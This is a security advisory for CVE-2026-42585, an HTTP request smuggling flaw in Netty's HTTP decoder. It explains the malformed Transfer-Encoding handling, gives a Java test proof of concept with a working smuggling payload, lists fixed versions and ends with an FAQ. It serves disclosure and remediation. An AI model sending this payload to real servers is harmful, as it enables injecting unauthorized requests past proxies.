CVE-2026-42585: Netty: HTTP Request Smuggling due to malformed Transfer-Encoding
Summary Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.
Details Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length
" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "
A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.
PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.
java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked, identity\r\n" + "Content-Length: 48\r\n" + "\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.USASCII)));
// Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertTrue(request.headers().contains("Transfer-Encoding")); assertFalse(request.headers().contains("Content-Length")); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release();
// Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); }
Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Other sources
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
maven/io.netty:netty-codec-httpto a version that resolves this vulnerability.Fixed in 4.1.133.Final - Upgrade
Upgrade
maven/io.netty:netty-codec-httpto a version that resolves this vulnerability.Fixed in 4.2.13.Final - Upgrade
Upgrade
Nettyto a version that resolves this vulnerability.Fixed in 4.2.13.Final - Upgrade
Upgrade
Nettyto a version that resolves this vulnerability.Fixed in 4.1.133.Final
Event History
Frequently Asked Questions
What is the severity of CVE-2026-42585?
CVE-2026-42585 is categorized as a severity vulnerability that can lead to request smuggling attacks.
How do I fix CVE-2026-42585?
To fix CVE-2026-42585, upgrade to Netty version 4.1.133.Final or 4.2.13.Final.
What software is affected by CVE-2026-42585?
CVE-2026-42585 affects the Netty codec HTTP package versions up to 4.1.132.Final and between 4.2.0.Alpha1 and 4.2.12.Final.
What type of attacks can CVE-2026-42585 lead to?
CVE-2026-42585 can enable attackers to perform request smuggling attacks due to incorrect parsing of malformed Transfer-Encoding.
What is the cause of the vulnerability CVE-2026-42585?
CVE-2026-42585 is caused by Netty incorrectly marking a request as chunked when malformed 'Transfer-Encoding: chunked, identity' is present.